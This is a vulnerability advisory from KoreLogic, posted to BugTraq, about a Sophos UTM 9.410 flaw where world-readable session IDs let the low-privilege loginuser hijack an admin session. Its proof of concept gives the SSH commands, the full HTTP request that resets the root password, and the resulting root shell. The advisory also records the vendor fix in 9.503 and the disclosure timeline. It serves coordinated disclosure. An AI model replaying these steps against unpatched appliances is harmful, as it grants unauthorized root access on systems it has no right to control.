BugTraq
KL-001-2017-020 : Sophos UTM 9 loginuser Privilege Escalation via Insecure Directory Permissions Oct 24 2017 08:56PM
KoreLogic Disclosures (disclosures korelogic com)
KL-001-2017-020 : Sophos UTM 9 loginuser Privilege Escalation via Insecure Directory Permissions

Title: Sophos UTM 9 loginuser Privilege Escalation via Insecure Directory Permissions
Advisory ID: KL-001-2017-020
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-020.txt

1. Vulnerability Details

Affected Vendor: Sophos
Affected Product: UTM 9
Affected Version: 9.410
Platform: Embedded Linux
CWE Classification: CWE-280: Improper Handling of Insufficient
Permissions or Privileges
Impact: Root Access
Attack vector: SSH

2. Vulnerability Description

The attacker must know the password for the loginuser
account. The confd client is not available to the loginuser
account. However, it is possible to list a directory containing
a sub-directories whose names are valid session identifiers
(SID) and can be used to make requests on behalf of other
accounts, such as admin. This allows for escalation to root
privilege.

3. Technical Description

1. Obtain the a privileged session token

$ ssh loginuser (at) 1.3.3 (dot) 7 [email concealed]
loginuser (at) 1.3.3 (dot) 7 [email concealed]'s password:

Sophos UTM
(C) Copyright 2000-2016 Sophos Limited and others. All rights reserved.
Sophos is a registered trademark of Sophos Limited and Sophos Group.
All other product and company names mentioned are trademarks or registered
trademarks of their respective owners.

For more copyright information look at /doc/astaro-license.txt
or http://www.astaro.com/doc/astaro-license.txt

NOTE: If not explicitly approved by Sophos support, any modifications
done by root will void your support.

loginuser@[redacted]:/home/login > cd /var/confd/var/sessions/
loginuser@[redacted]:/var/confd/var/sessions > ls -la
total 40
drwxr-xr-x 2 root root 4096 Mar 23 14:53 .
drwxr-xr-x 5 root root 4096 Mar 19 16:06 ..
-rw-r--r-- 1 root root 359 Mar 23 14:47 qpmNEByQxJGYYWTvRyVC
-rw-r--r-- 1 root root 5 Mar 23 14:47 qpmNEByQxJGYYWTvRyVC.lock
-rw-r--r-- 1 root root 369 Mar 23 14:52 SxAIqVdVmexIEdQYHvHk
-rw-r--r-- 1 root root 35 Mar 23 14:52 SxAIqVdVmexIEdQYHvHk.lock
-rw-r--r-- 1 root root 367 Mar 23 14:47 VbYBGlcwaLVDnzEuFCwP
-rw-r--r-- 1 root root 10 Mar 23 14:47 VbYBGlcwaLVDnzEuFCwP.lock
-rw-r--r-- 1 root root 370 Mar 23 14:47 xZzeOIhVClqKYsmCKHrN
-rw-r--r-- 1 root root 5 Mar 23 14:47 xZzeOIhVClqKYsmCKHrN.lock

2. Set the root password

POST /webadmin.plx HTTP/1.1
Host: 1.3.3.7:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-Type: application/json; charset=UTF-8
Referer: https://1.3.3.7:4444/
Content-Length: 418
Cookie: SID=xZzeOIhVClqKYsmCKHrN
DNT: 1
Connection: close

{"objs": [{"ack": null, "elements": {"root_pw_1": "newroot", "root_pw_2": "newroot", "loginuser_pw_1": "loginuser",
"loginuser_pw_2": "loginuser"}, "FID": "system_settings_shell"}], "SID": "xZzeOIhVClqKYsmCKHrN", "browser": "gecko",
"backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID": "1490305723111_0.8089407793028881",
"current_uuid": "2844879a-e014-11da-b3ae-0014221e9eba", "ipv6": false}

HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 14:57:19 GMT
Server: Apache
Expires: Thursday, 01-Jan-1970 00:00:01 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Option: nosniff
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 24690

{"SID":"xZzeOIhVClqKYsmCKHrN","ipv6":false,"current_uuid":"2844879a-e014
-11da-b3ae-0014221e9eba","browser":"gecko","RID":"1490305723111_0.808940
7793028881","js":"cache_update();if($(\"topbar_icon\")){$(\"topbar_icon\
").src=\"core/img/topbar/topbar_user.png\";}toggle_who_is_watching(0);",
"backend_version":"2","loc":"english","globals_data":["xZzeOIhVClqKYsmCK
HrN","5",[]],"globals":["SID","backend_version","backend_objects_update"
],"objs":[{"success":[{"text":"Shell user password(s) set successfully."}],"current_uuid":"2844879a-e014-11da-b3ae-0014221e9eba",
[snip]
"_cookie":null,"wdebug":0}

3. Look for success message.

"objs":[{"success":[{"text":"Shell user password(s) set successfully."}]

4. Profit.

loginuser@[redacted]:/home/login > su
Password:
[redacted]:/home/login # id
uid=0(root) gid=0(root) groups=0(root),890(xorp)

4. Mitigation and Remediation Recommendation

The vendor has addressed this vulnerability in version
9.503. Release notes and download instructions can be found at:
https://community.sophos.com/products/unified-threat-management/b/utm-bl
og/posts/utm-up2date-9-503-released

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.21 - KoreLogic submits vulnerability details to Sophos.
2017.07.21 - Sophos acknowledges receipt.
2017.09.01 - 30 business days have elapsed since the vulnerability
was reported to Sophos.
2017.09.15 - KoreLogic requests an update on the status of this and
other vulnerabilities reported to Sophos.
2017.09.18 - Sophos informs KoreLogic that this issue has been
remediated in release 9.503 for UTM.
2017.10.24 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
cy.v2.2.txt

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